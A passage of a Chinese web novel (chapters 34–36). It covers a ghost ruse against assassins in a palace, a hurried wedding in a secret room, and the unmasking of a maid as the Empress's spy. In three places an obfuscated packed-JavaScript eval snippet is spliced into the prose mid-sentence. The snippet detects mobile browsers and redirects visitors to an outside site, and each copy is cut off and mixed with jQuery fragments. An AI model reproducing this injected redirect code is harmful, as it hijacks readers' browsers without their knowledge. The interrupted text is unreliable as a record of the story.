房间内毫无章法地堆砌着陈年旧物,因此显得有些局促。一整墙的旧书卷,笨重的雕花木箱,角落里还突兀地摆着一架梳妆台,四周落满灰尘的幔帐如同蛛网,掩住大部分视线。 孟巡拔出腰间配刀,挑过重重幔帐,小心搜寻着赵琮昀的影子。 什么都没有。那响动就像从没出现过。 孟巡几乎以为自己幻听了,他想不通赵琮昀为何会出现在这间屋子……难道他猜出自己所谋之事,提前躲了起来? 孟巡眯着眼睛环视一周,最后将目光落在挂着铜锁的雕花木箱上。这箱子的尺寸,不是不能藏人…… 他比个手势,两人合围而上,果然那锁头被人打开了,箱盖半掩,露出一道深深的缝隙。 “孟巡!” 就在这时,身后猛然响起一道低喝。 孟巡吓得一个激灵,慌忙提刀转身。一道修长的身影不知何时站在他们背后,面带病容,漆黑的眸子如罩凝霜,冷冷看着他手里的刀。 “何人教你在永商宫内动刀!还不收起来!”赵琮昀语声凌厉。 孟巡舔了舔嘴唇,没有动。他身边那位“御医”抬手扯断一截幔帐,低低笑道:“不必用刀了……畏罪自缢而亡,这个理由,岂不正好?” 孟巡神色一松,收刀入鞘,笑道:“事到如今,王爷就别再逞强了!” 那笑容中杀意涌动,带着无法掩饰的得意和狠戾,孟巡淡淡吩咐同伴: “动手吧。” 34. 第 34 章 眼见对方缓缓逼近,赵琮昀却挪不开脚步——不是他不想跑,此刻他身上早已被冷汗打透,一点力气都使不出来。 赵琮昀大脑飞速运转,他深知孟巡作为麒麟卫统领,能力是不差的,找来的杀手定然也是经验老道,就算他身体无恙,也没把握顺利逃脱。 所以他纠结的,根本不是自身安危,而是怎样阻止岳明明暴露! 他知道她就在这个房间。 万一她头脑冲动,忍不住出手相救,以她的功夫,等于主动送死! 赵琮昀希望岳明明此刻知趣一点,老老实实躲藏好,可他内心偏偏又生出一点阴暗的念头—— 如果她不顾性命主动现身,是不是就意味着……自己在她心里仍是重要的? 他没办法不去设想那一点点可能。 分神之际,扯着帷幔的手已伸到他近前,赵琮昀下意识抬臂去挡,结果被对方轻易挣脱,他身形不稳,踉跄撞向书架,哗啦啦砸落一堆古籍画卷,房间登时尘土飞扬。 孟巡心情大好,露出胜券在握的狞笑,可惜下一秒,他笑容就僵在了脸上。 房间某处,复又响起一阵窸窸窣窣的声音……很明显,造成这响动的,不是眼前任何一个人! 难道……房间里还有人?! “谁?”孟巡横刀叫道,脊背莫名发寒。 书堆底下,赵琮昀心提到嗓子眼,他开始懊悔自己刚刚居然产生了那么自私的想法…… 傻瓜,千万不要出来啊! ………… 咯咯咯咯……仿佛回应孟巡的话,房间回荡起突兀的笑声,像嗓音极尖的女人,又像顽皮胡闹的小孩子。 “装神弄鬼!给老子出来!”孟巡本就做贼心虚,语声不禁颤抖起来。 没人知道,一向英明神武的麒麟卫统领孟巡,居然怕鬼! 那笑声不但没停歇,反倒变本加厉,孟巡再也听不下去,拔刀对准笑声方向飞掷,只听噗嗤一声,刀锋裂透衣帛,一道黑影从房梁上直直跌落。 这一瞬间,赵琮昀吓得三魂七魄差点出了窍!他眼前阵阵发黑,匍在地上艰难往声音处爬去,却被人笑着踩住手掌。 对方不疾不徐蹲下,将幔帐套在他颈间:“别急,这就送你一起上路!” 那边孟巡走过去刀鞘一挑,发现掉下来的竟不是人,而是一件女子衣衫。 他微微一怔,很快就认出来,这可不是普通衣裙,而是许多年前京中流行过的“雪舞流仙裙”! 这是李贵妃最爱穿的一款锦裙,从宫中流行到宫外,红极一时,后来帝妃感情生变,它也跟着遭了殃,先帝不仅将宫内所有相近款式都付之一炬,更下旨如有人穿着或私藏,罪同谋反。自此以后,雪舞流仙裙彻底销声匿迹。 这样一件禁品,为何出现在宫中,还是李贵妃的永商宫?! 孟巡冷汗顿时冒出来。 同伴还在等他的最终指令,孟巡却沉默不语,只顾盯着衣服发抖,那人莫名其妙道:“怎么了?” 孟巡艰难咽了下口水,疾步冲过来,抓住赵琮昀衣襟道:“你知道这里藏了人对不对?究竟是谁……若老实告诉我,老子给你留个全尸!” 赵琮昀得知跌落的并非岳明明,心下稍安,他冷眼望着脸色惨白的孟巡,讥笑道:“不做亏心事,不怕鬼敲门。孟统领吓成这样,莫不是心虚?” “放屁!老子怕什么!”孟巡骂道。 然而房梁上再次响起悠悠女声:“孟郎……是你吗?这么多年总算找到你了!你为什么让那些臭道士作法,阻止我上门?” “你……你究竟是谁?你为什么会知道这些……”孟巡肉眼可见地惊慌起来。 “我是梧桐馆的绿芜……你忘了吗?”那女声嘤嘤哭泣道:“难道你连我们的孩子诺儿也忘了吗?” 诺儿……这名字仿佛一道炸雷,粉碎了孟巡最后一点理智。 那是他送绿芜打胎前,与她在床榻温存之际,随口哄骗她的名字,其他人根本不可能得知! 那夜过后,绿芜毫不知情地喝下堕胎药,结果失血而亡。后来连续几日,孟巡都做着同一个噩梦,梦到绿芜抱着孩子来找他,一遍遍对着怀里的襁褓喊“诺儿”。 这曾是他心底最深的恐惧,连请道士作法时,他都避而不谈,唯恐说出口后,那孩子就真的存在了。 直到此刻……噩梦重现! 那女声话音未落,又一团黑影朝他扑来,孟巡手忙脚乱拨开,结果绊了一跤,赵琮昀在他身边伸手接住,看也没看径直塞入他怀中:“孟统领,你的东西!” 那是一个丑萌丑萌的布娃娃,一看就是小孩子玩物。 孟巡彻底崩溃,尖叫着将娃娃扔出去:“滚开!别来找我!贱人!” 他那位倒霉同伴,眼见着孟巡突然发疯,屁股尿流地满屋乱窜,口中喊叫着没人听得懂的话语,一时呆愣在原地。 而恰在这时,他的肩膀被人轻轻拍了一下。 饶是这位胆大,扭回头的瞬间也吓得魂飞魄散——一个满脸血红的女人,披头散发蹲在书案上,正似笑非笑地盯着他。 “啊啊啊啊!”他尖叫着后退,却忘了手中幔帐还缠在赵琮昀脖颈上,这一拉扯,幔帐收紧,赵琮昀顿时被勒住呼吸。 赵琮昀本能地剧烈挣扎,肺部却空空荡荡,进不来一丝空气。周围声音越来越远,就在他即将坠入那片无尽黑暗之时,只觉颈间蓦地一松,他喘息着落入一个熟悉的怀抱。 “你没事吧?”岳明明焦急叫他。 赵琮昀紧紧抱住她说不出话。 下一秒他又意识到,他应该撒手让她赶快离开,等那二人反应过来上当,她就走不掉了! 恍惚间果然听到有人喊:“孟兄,是那女人在搞鬼,你清醒点别上当!” 看来那位杀手心智颇坚,见岳明明第一时间扑上来搭救赵琮昀,立刻意识到这才是她装神弄鬼的真正目的。 他捡起刀,又怒又恨地冲将过来! 岳明明叫了声“抓紧我”,抱住赵琮昀就往书架滚去,又一堆书卷砸落下来,短暂掩住了杀手视线,待尘埃落定,他再想找岳明明和赵琮昀,却发现两人居然在他眼前凭空消失了! 难道那女人,真的是鬼? 杀手与孟巡惊恐地对视一眼,周身汗毛再次竖起来。 * 岳明明揉着腰爬起来,先去查看赵琮昀伤势:“你怎么样啊?撞到哪里没啊?” 赵琮昀摇头,一把拉过她鲜红的手掌:“你受伤了?” 岳明明笑道:“这只是沾上的胭脂。”她指指自己猫儿一样的花脸:“涂来吓唬他们的!” 赵琮昀默默用袖子替她擦拭掌心,半晌才道:“以后不要再做这么危险的事,你这样……我还不起。” 岳明明不服气道:“难道你要我眼睁睁看着他们杀你?” 赵琮昀似是不想再与她争辩这个没有答案的问题,他环顾四周,待眼睛适应了黑暗,隐隐看出这是一间方正的密室。 “这是你发现的?我从小在此长大,竟不知永商宫还有这样一间密室。” 岳明明点头解释道:“我稀里糊涂转到这里,看见一些女子服饰和脂粉,后来又发现书架上有你的名字,就凑过去多瞧了几眼,结果不知碰到哪里,书架响了一声,听起来跟参园的密室机关很像……我正要检查,那两个人就进来了。” 她忽然想到什么,感慨道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779569|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你可真是落井下石的一把好手……居然直接把布娃娃塞进孟巡怀里,他一定吓死了!” 赵琮昀难得笑了笑:“我接过来的时候,就知道那是什么。见你演戏演得那么认真,我自然要配合一下。” “你认识那娃娃?” “……那是儿时母亲亲手为我缝的。” 岳明明一怔,拍大腿道:“糟了,不会弄坏了吧……对不起,等咱们出去,我一定帮你找回来!” 赵琮昀淡淡道:“不必了。母亲离开永商宫那天,那娃娃就被我丢弃了。我早就不需要它了。” 岳明明听他说得云淡风轻,心里却不是滋味,刚想开口安慰他,却骤然想到一个问题—— “你说你把娃娃扔了?那它为什么会出现在这个房间?” 赵琮昀也愣住,他蹙眉摇头,岳明明顿时打了个寒战,忍不住往赵琮昀身边靠了靠。 赵琮昀看出她害怕,犹豫了一下,轻轻覆住她的手:“别担心……依你所言,书架上带我名字的,很可能是我从前做过的功课或读过的书,再加上我母亲的衣裙……似乎有人在专门收集我们母子的旧物。” “你不觉得……这很可怕吗?!”岳明明欲哭无泪。 赵琮昀微微摇头,心中已有了一份猜测,他问道:“你身上可有带火折子?” 岳明明从腰间掏出东叔送给她的一个小东西,递过去道:“是这个吧?我还不太会用……” 赵琮昀接过来点燃,密室顿时亮起来,岳明明缩在赵琮昀身后快速扫了一眼,四周干干净净,既没有鬼也没有人。 密室最显眼处挂着一幅美人梳妆图,画中春花烂漫,女子懒洋洋倚在窗边,一边梳妆一边饮酒,虽不见正脸,只看背影已令人心折。 赵琮昀拉着岳明明缓缓走过去,默默看了许久,轻声道:“这是我母亲。” 岳明明想到永商宫的传闻,猜测道:“是你父亲画的?” 赵琮昀目光停在落款红印上:“不错,正是他。” 岳明明忽然明白过来:“是你父亲……他把你们母子的旧物藏在了这里!” “他这是在偷偷思念你们……你一直说他们感情失和,死生不复相见……其实他后悔了吧?” 赵琮昀垂下眼眸,沉默不语。 先皇晚年曾独居永商宫很久,他就是在这个无人知晓的房间里,缅怀他此生错失的那段感情吗? 岳明明好奇地翻开旁边摆放的一只精美木匣,里面是细细一卷丝帛,用红线仔细系着,看起来异常金贵。 “这是什么?” 赵琮昀解开红线,将其展开,上面洋洋洒洒写了一段文字。 他神色微变,涩声道:“这是……父皇写给母亲的聘书。” 见岳明明不懂,赵琮昀解释道:“母亲只是贵妃,并非皇后,不算父皇的正妻……按理说他不该写这样的东西。” “于理不合。” 可是于情呢?从前他不懂,此刻他却比任何时候都理解了自己的父亲。 “哦哦……你们这边,聘书很重要吧!”岳明明表示理解。 赵琮昀似悲似叹:“是啊……有了这聘书,两人再拜过天地,便是一场最简单的婚礼了。” 岳明明瞧他神色怅然,心头莫名一动,脱口道:“你老实告诉我,你知道我想做王妃之后……是不是给我写过这东西?” 赵琮昀不答,反问道:“现在说这些,还重要吗?” “重要!特别重要!” 赵琮昀顿了顿,极不情愿道:“……随手写过一封。” 岳明明一把扯住他衣袖,目光熠熠:“咱俩拜天地吧!现在立刻马上!” 赵琮昀:………… 35. 第 35 章 岳明明的思路非常直接,这间密室眼见着只有一个出入口,而外面两个杀手分分钟可能找到机关冲进来,到时候她和赵琮昀都得玩儿完。 所以当她得知赵琮昀聘书早就拟好,只需磕几个头,就能完成“当王妃”这个任务,简直有种绝处逢生的惊喜。 搞定任务后,可以获得系统奖励,提升武力值,动起手来胜算就更大! 她兴冲冲把计划讲给赵琮昀听,结果收到了对方毫不留情的拒绝。 赵琮昀气得脸都绿了:“你把我当什么?我凭什么一而再再而三地任你戏弄?” 岳明明显然低估了赵琮昀的记仇能力,她试图讲道理:“之前和现在,情况能一样嘛……难道咱俩就坐在这里等死?既然有一线生机,为什么不去试一试?” 赵琮昀道:“我宁可去死,也不会为了苟活做这种事!” 岳明明一怔:“我也没让你做啥见不得人的事……假装拜个堂,比死还难?” 赵琮昀怒道:“你是真不懂,还是又在跟我演戏……” 岳明明无语:“不是我不懂!可这都什么时候了,命都要没了,哪有心情谈情说爱……大哥你恋爱脑也得分个轻重缓急吧!” 她故意凶道:“我告诉你,我可不是在跟你商量哈……你现在打不过我,你要是不同意,我就抓着你磕头!反正今天这个堂拜定了!” 赵琮昀:“…………” 岳明明的无赖程度,再一次刷新了他的认知。 他揉着突突的太阳穴,努力让自己冷静下来:“你的意思是……我们拜了堂,你有了王妃身份,能立刻获得更强的功夫?” 岳明明没好气道:“对,我们管这个叫‘升级’,你就理解成……从秀才水准,突变成状元吧。” “……你刚刚对孟巡的过往如此了解,这也是你的技能之一?” “没错!”岳明明见他开始上道,终于松了口气:“跟你说过我可以查到很多你们不知道的信息,现在你信了吧?” 赵琮昀沉吟片刻,忽然问出一个岳明明没想到的问题:“为什么当王妃就可以‘升级’?这二者有什么关联?” 岳明明张了张嘴,说不出话。 为什么……因为这是系统任务!这个问题你要问游戏设计者去啊! 赵琮昀斜睨她:“答不上来……还是不想回答?” 未等岳明明说话,他又继续问道:“此刻你要当王妃是权宜之计,那之前呢……是不是从始至终,你的目标都只是‘升级’而已?” 这回岳明明真的说不出话来了。这个问题她不想回答。 她心里暗骂,赵琮昀这货不是病着吗……为什么思路还可以这么清晰! 赵琮昀见她沉默不语,似乎也不愿再问下去,转换话题道:“‘升级’对你来说很重要吗?” 岳明明反问道:“你问这么多……是相信我的故事了吗?” 赵琮昀语气里带了一抹自嘲:“也许吧……我现在也不知道还能信什么、做什么……你笃定自己不属于这个世界,你还设定好了半年期限,我又能有什么办法?” 他看着岳明明,眸光深不见底:“难道要我求你为我留下来?就算我不识好歹地说出口……你会愿意吗?” 岳明明这回没有逃避,认真看着他:“你不了解我的世界,也没办法理解我的处境,所以你没资格说这样的话。” “是吗……” 许久,赵琮昀轻叹一声,撩衣襟跪在画像前,淡淡道:“如你所愿,拜堂吧。” 岳明明默默在他对面跪下来,虽然此事由她提议,可眼下两人之间气氛实在诡异。 “额……这个需要谁来主持一下吗?”岳明明为了缓解尴尬,虚心求教:“你是不是比较有经验?” 赵琮昀蹙眉不解,岳明明道:“你不是跟苏姐姐成过一次亲吗?” 赵琮昀简单道:“那天我喝多了,错过了拜堂时间。对我来讲,今天也是第一次。” “额……”岳明明挠挠头,还想说点什么,赵琮昀却肃了肃衣襟,神色郑重,俯身叩拜道:“一拜天地。” 岳明明赶忙有样学样,认真磕头。 “二拜高堂。”这次拜的是李贵妃画像,起身后赵琮昀对着画中身影沉默许久,才继续道:“夫妻对拜。” 岳明明心突然砰砰跳起来,她转过身子,对上赵琮昀澄澈的目光,脸颊莫名发烫。 两人完成最后一拜,岳明明还没反应过来,系统提示就已经响起:“恭喜玩家顺利完成任务,习得''行云掌''中级,解锁''养马''、''打铁''两项新技能!祝您游戏愉快!” “……” 岳明明还没来得及高兴,就被两项华丽的新技能震慑住了! 养马?打铁? excuseme? 她好歹是个女孩纸啊!现在还蹭上了王妃身份,为什么要学习这么奔放的技能……这游戏设计者的脑回路太抽象了吧! 赵琮昀见她跪在原地发愣,问道:“怎么?出了岔子?” 岳明明回过神:“没有没有……升级成功了,放心吧!” 她撸起袖子就要起身:“待会儿我跟他们打起来,你记得第一时间往外跑,千万别耽误!老实讲我不一定打得过,但是一时半会死不了,你只管去叫人,不要担心我……” 赵琮昀听她絮絮叨叨,眼中泛起一抹微澜,他抬手按住岳明明:“等等。” “我还有话想对你讲。” 岳明明以为他要与自己商议逃命计谋,立刻摆出一副好学态度:“你说!” 结果就见赵琮昀稍微偏过头去,避开她目光,轻声道:“如果……我接受你所说的半年期限,你愿不愿意……在离开前,做我的王妃?” “……你说什么?” 岳明明当然听清了赵琮昀的话,她只是不敢相信,他那么骄傲的一个人,居然提出这样一个几近卑微的请求。 是谁说过不会求她,不会纠缠她,不会挽留她…… 赵琮昀青着脸转头看她,紧紧抿住嘴唇,最后艰涩地重新开口:“我说……如果我接受……” “我愿意。” 岳明明骤然打断他。她怎么忍心让他再说一遍。 “虽然只有半年,我会努力不让你失望的!”岳明明磕磕绊绊袒露着一颗真心,把情话说得像入职宣言。 赵琮昀眉宇间露出微薄的喜悦,更多是紧张过后的释然与疲惫。他点点头,没有再说什么,似乎也对两人骤然拉进的关系有些不知所措。 岳明明突然问:“……你们这边拜堂之后,通常都做什么?” 赵琮昀微微怔然,然后神情古怪地看着她,岳明明蓦地反应过来:“你别误会啊……我只是……” 天地良心,她只是想打破沉默,随口起了个话茬。 可惜赵琮昀没给她时间解释:“眼下时间紧迫,我们以后再聊这个,还是先来商讨一下如何应对当前局面。” “……”岳明明凌乱了,她也没有很想聊这个,这种嫌弃的口吻是怎么回事呢? 只听那边赵琮昀思路清晰道:“出去后,你只需保全性命,不要恋战,待我引来麒麟卫,你立刻趁乱逃走,马上出宫不要逗留,回王府等我消息。” “他们再找机会杀你怎么办?”岳明明不放心。 “永商宫的确不能住了,我会想办法让皇兄意识到我的处境危险,如果他不想要我的命,就必然会保护我。” “你这是在赌……”岳明明脱口道:“万一他要你死呢?” 赵琮昀无奈地笑了笑:“君要臣死,臣不得不死。若真是这样,普天之下我又能逃去哪里呢?” 岳明明道:“大不了我和东叔带着暗卫,进宫把你劫走,我就不相信天下这么大,还藏不下你一个?” 赵琮昀摇头:“且不说此事难度有多大,又要搭上多少性命,你可知一个流落民间的王爷,意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788012|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味着什么吗?” 他续道:“对皇上来说,那代表着一个随时可能作乱夺权的威胁,他势必要动用巨大人力物力除掉我,否则江山不稳。而对于别有用心的人来说,我会成为一个有力的筹码和工具,只要找到我,或者打着我的旗号,便可以揭竿而起。” 他看出岳明明脸上不服气的表情,缓缓道:“我在意的从不是皇权……眼下世道本就艰难,江州水患刚平,北方战事不断,我不愿意因我赵琮昀一人,再惹朝局动荡,届时遭殃的还是百姓。” “可是你的命也是命啊,也有人在乎的!”岳明明忍不住道。 赵琮昀喉头滚动了一下,顿了顿:“我知道……所以这场赌局,我会倾尽全力去赢。” “出宫之后,你让东叔去找一个人。” “谁?” 赵琮昀垂下眼眸:“李嗣。请东叔转告他,务必拦下所有替我求情的人,无论在朝在野,都不要上奏妄议此事。” “为什么……替你说话不好吗?” “此时替我求情,才是雪上加霜,更会让皇兄怀疑我结党营私。” 岳明明了然道:“我懂了,你放心,我一定把消息带到!” 赵琮昀沉吟片刻,又道:“还有一件事,我没想通,却不得不防……你还记得当初李凭如往参园塞进来一个丫鬟,名叫杏儿,她与当年杏花楼一案有关系……我总觉得李凭如此举不会这么简单,甚至背后有人为她出谋划策……” “你是说皇后?”岳明明蹙眉道:“杏儿现在被关起来了,我也见不到,不如我直接去问李凭如……我跟她现在倒能说上两句话。” 赵琮昀当然知道此次李凭如出手相助之事,可他摇头道:“我不相信她,甚至她可能也只是一枚棋子,这件事倒有个人可以帮忙……” “还是李嗣?”岳明明愣愣问道。 赵琮昀瞥她一眼,口气冷了几分:“他在你心里就那么能耐?” “是邀月楼的姜欢。你把事情经过告诉她,她会知道如何处理。” “……” 赵琮昀道:“我与她清清白白,从来只是盟友关系,日后有机会我一定向你解释清楚,现在就不要为这些吃醋了。” “…………” 又是这种嫌弃的口吻……岳明明震惊,明明就是他还在吃李嗣的醋,怎么倒打一耙成了她的问题? “哎……我觉得你有点不讲道理。”岳明明气道:“到底谁在吃醋,你讲清楚!” 赵琮昀一边埋头整理衣襟,一边道:“我听见外面有响动,恐怕他们要找到机关了。” 岳明明立刻紧张起来:“不如你熄了火折子,躲在暗处,我打开机关咱们冲出去,杀他们一个措手不及!要是被他们堵在这里,空间太小,有点麻烦!” 赵琮昀亦觉有理,两人各自站好位置,他将火折子收入怀中,密室顿时又恢复漆黑一片。 “待会儿万事小心。”赵琮昀低低的声音响起:“如果出现意外,先自己保命。” 岳明明不回答。 外面又传来一阵敲打的声音,赵琮昀语声急切起来:“你听到没有?你答应我!不要意气用事!” 岳明明还是不应声,赵琮昀气得正准备顺着记忆位置摸索过去,忽然身子一顿,猝不及防间,有人给了他一个大大的拥抱。 在冰冷的密室,少女身体显得更加柔软温暖。赵琮昀小心翼翼环住她,不敢太紧,又不舍得太松。 “……聘书你放在哪里了?”岳明明声音闷闷的,有些不好意思。 “我的书房最上面一排架子上,有只锦盒。” “我可以拿来看看吗?” “那本就是属于你的东西……可惜,我本该亲自交到你手上的。” “如果我看不懂,可以要求你重写吗?” 赵琮昀终于忍不住笑出来,双臂紧了紧,下巴轻轻抵住岳明明头顶,温声道:“我很乐意,写到你满意为止。” 36. 第 36 章 夜已深,姜欢倚在窗边,望着冷冷清清的园子,有一搭没一搭拨弄着琴弦。 自从王府被查封,邀月楼便也不复往日夜夜笙歌的热闹。赵琮昀与姜欢的关系京中人尽皆知,此时此刻,皇上态度未明,谁也不想跟赵琮昀扯上关系。 “姨娘,还不睡吗?”小阿念打着哈欠,探头问道。 姜欢思绪被打断,琴声陡然一滑,她也不恼,笑着招招手:“乖,你先去睡。” 阿念极有规矩,恭恭敬敬行了个礼:“姨娘晚安。” 待那小小脚步声渐行渐远,姜欢才对着窗外淡淡道:“行了,出来吧。” 一道黑影悄然跃入,正是岳明明。 姜欢并不意外,口中却道:“我还以为来的会是东叔。” 岳明明解释道:“东叔前几日引麒麟卫时受了点伤,所以这趟就由我代劳了!” 姜欢态度谈不上热情,只说道:“既然来了,怎么不跟阿念打个招呼?她倒是还惦记着你。” “是吗?”岳明明有些感动,遗憾道:“我这个样子怕吓到她,另外……大人们的烦心事,还是不让她知道的好。” 姜欢斜眼瞧了瞧她:“几日不见……倒是长了点心眼……轻功也不错。” 岳明明不知这话该如何接,尴尬地笑了笑,从怀中摸出一包琥珀核桃:“我特意给阿念带了这个,烦劳姐姐明日帮我转交……这是用桂花糖现炒的,小孩子都喜欢!” 姜欢嗤笑:“王府都封了,他被禁在宫中生死未卜,你还有心思做这些。” 像嘲讽,偏偏又掺了点赞许意味。 岳明明怀疑是不是自己想多了,她其实有点摸不准姜欢这个人,便顺口道:“日子总得过嘛……姐姐似乎知道我要来,可是猜到了什么?” 姜欢嘴角弯起:“猜到几分,你不妨先说说。” 于是岳明明将杏儿有关的事讲给她听,又说明了赵琮昀的怀疑,姜欢安静听完,似叹非叹问了句:“……他还好吗?” 岳明明一怔,立刻明白过来姜欢问的是谁,赶紧道:“还行……姐姐也不用太担心他。他那个人,总有办法的。” 这句话说出口,她心里其实默默疼了一下。“还行”二字真不是谦虚,当日他们冲出密室,赵琮昀喊来麒麟卫捉拿杀手,岳明明趁乱离开,事后她才从李凭如口中得知,赵琮昀引起皇帝重视的方法,居然是火烧永商宫! 为了让昭明帝以为是杀手纵火行凶,他自己也在火中受了些伤,这一出搏命的苦肉计果然见效,昭明帝见到九死一生的弟弟,既震惊又后怕,不仅将赵琮昀迁往自己寝宫附近,派人严加保护,还准许御医前往治疗。 李皇后那边暂时不敢轻举妄动,孟巡惨死火中,想来是有人趁机灭口,而那名杀手事后却不见踪影。 岳明明仔细询问赵琮昀伤势,李凭如并未亲眼瞧见,但他派人传了话,只说“并无大碍”。 可岳明明不信——能让阴晴不定的昭明帝生出恻隐之心,估计要很惨的。 姜欢凝眸盯了她几秒钟,忽然道:“你可知道,先前王爷曾答应过我,那封遗诏将来有一日是要保全邀月楼的,没想到却用在你身上……他既然言而无信,如今他出事,我也可以选择置身事外。” “啊?”岳明明不知竟有这一码,顿觉汗颜,也听出姜欢有心拒绝,改口道:“既然如此……话我带到了,帮与不帮全由姐姐决定……我就先走了。” “等一下。”姜欢叫住她,轻笑一声:“你可有胆量,跟我去个地方?” 岳明明第一反应是不能去! 鬼知道这女人会不会因遗诏之事记恨她和赵琮昀,倒戈向皇后那边? 姜欢看出她犹豫,也不催促,甚至耐心修起指甲:“你慢慢想,离天亮还早着呢!” 岳明明弱弱地问:“姐姐能告诉我,是什么地方吗?” 姜欢眼波流转:“不能……说出来岂不无趣?” 岳明明无语。 如果赵琮昀和东叔在身边,一定不会答应这危险的要求,可岳明明不擅长谋定后动,偏偏好奇心又过于旺盛,于是稀里糊涂就点了头。 姜欢眸中染上笑意:“稍等片刻。”她轻飘飘扔下一句话,转身进了里屋,再出来时,周身已换上利落的夜行衣,宛如一只狡黠轻盈的黑猫。 岳明明看得一呆,她没想到姜欢居然会轻功,更没想到有人穿夜行衣还能这么好看!再低头瞧瞧自己,同样一身行头,为什么她就更像乌鸦? “跟紧了。我可不等你。”姜欢淡淡叮嘱后,纵身跃入黑夜,岳明明一头雾水,仍屁颠屁颠跟了上去。 * 姜欢轻功卓绝,遥遥在前,当真没有等她,岳明明咬牙提气,累得满头大汗,才不至于跟丢。 行了一刻钟工夫,姜欢将岳明明引到一处高墙前,岳明明打量这座府邸规制,与王府竟不相上下,心中隐隐觉得不妙。 “就是这里了,国舅府。”姜欢道。 国舅……难道是李凭如的母家?!那不正是李皇后的地盘吗! 岳明明脸色一白:“姐姐带我来这里做什么?” “见一个人。”姜欢微微一笑:“怎么……不敢进去?现在走倒还来得及。” 岳明明很吃激将法这一套,心说皇宫我都闯了,还怕你个小小国舅府不成!她再无二话,冲姜欢点点头:“没问题的!” 姜欢轻笑一声,翻身越过高墙,沿路驾轻就熟,很快便来到后花园内一处僻静院落。 院中只有一间屋子孤零零亮着灯,两人悄悄靠近,岳明明正要破个窗洞偷瞄一眼,不料姜欢径直推门而入。 “……你疯了姐……”岳明明吓得结巴起来,然而她话未说完,便愣在原地。 屋子里端坐着一个熟悉的人。 她的侍女,杏儿。 “你怎么在这儿?!”岳明明和杏儿同时开口叫道,岳明明只是惊讶,杏儿却嗔怒着看向姜欢。 “等等……你们认识?”岳明明瞧出不对:“到底怎么回事?杏儿,你不是应该跟其他人一起被关起来了吗,怎么会出现在国舅府?” 她其实想到了一个答案,只是不愿相信。 杏儿与姜欢深深对视一眼,姜欢笑了笑:“你就算恨我也无妨……这些事情,她早晚会知道。你总说她待你很好,不知如何回报,我看倒不如把真相告诉她。此事你筹谋良久,志在必得,难道还问心有愧不成?” 杏儿傲然道:“我自然无愧于心,若让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850182|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我再选一遍,我还是会这么做!” 她斜觑着姜欢:“你不会是带她来当说客的吧?你还不死心?” 姜欢没有否认。未等人请,自己款款落座,招呼岳明明道:“这个故事说来话长,外头更深露重,你别傻站着了,进来边喝茶边听如何?” 岳明明哪有心思喝茶,不过她怕被人发现,小心翼翼将门掩好,轻声道:“可以了!杏儿,你快说!” 杏儿咬着嘴唇,一时不知如何开口。 姜欢在旁看得发笑:“刚还夸你长了心眼,此刻又犯傻了……你那么小心做什么?没瞧出来这院子连个看守都没有,她虽住得偏僻,可你看这屋内吃的用的,哪像是关押下人或囚犯的样子?” “这本就是她的住所。”姜欢忽然敛起笑容:“岳娘子,你的这位''小婢女'',一直是李皇后的人。” 屋内一片寂静。 岳明明虽然已经猜到,被姜欢骤然捅破,她大脑还是空白了一瞬。 沉默许久,岳明明问道:“……从什么时候开始的?” “一直都是。”杏儿偏过头不看她。 “所以你与李凭如合谋,她利用苦肉计把你送进参园?” 杏儿嗤笑一声:“她算什么东西!也配与我合谋!这事是李皇后安排她做的,她什么都不知道,只听了迷信,当我是个扫把星,把我送去克你。” 岳明明呼吸一滞。 眼前人再不是那个卑躬屈膝、唯唯诺诺的小丫头,她冷脸讥笑的模样,居然有几分李皇后的神采。 岳明明忍不住问道:“杏儿……你对我说过的那些话里,有真的吗?” 杏儿终于转过脸,眸子里闪过一丝愧色:“此时再分辨真假,还有意义吗?” 她顿了顿:“岳娘子,你在所有人轻贱我的时候护着我,从不把我当下人使唤,真心实意为我打算……你待我的好,我都记着!可是太晚了,我的身家性命,早就交付给了另外一个人,这一世我发誓只为她而活,你的恩情,下辈子我一定还!” 岳明明不敢置信:“你说的''她'',是李皇后?” “当然不是!”杏儿冷笑:“我与那贱妇联手,只是各取所需。实际上,她也是我的仇人之一,只不过……比起她,我更恨另外一些人。” 岳明明诚恳道:“杏儿,我待你好,是真的喜欢你,心疼你,并不是图你的回报!现在我只希望你讲清楚,你为什么要骗我,你与李皇后究竟要做什么?” 她随即想到了最坏的可能:“你潜入参园,要害王爷?” “不错。”杏儿嘴角含笑,眼中却闪着疯狂的恨意:“皇帝膝下无子,只有赵琮昀一个弟弟,我要他们骨肉相残!我要先除掉赵琮昀,再让皇帝亲眼看着他的血脉中断,大好江山无人继承!” “我要他往后余生都活在悔恨里,我要他带着最深的恐惧去死!” “…………” 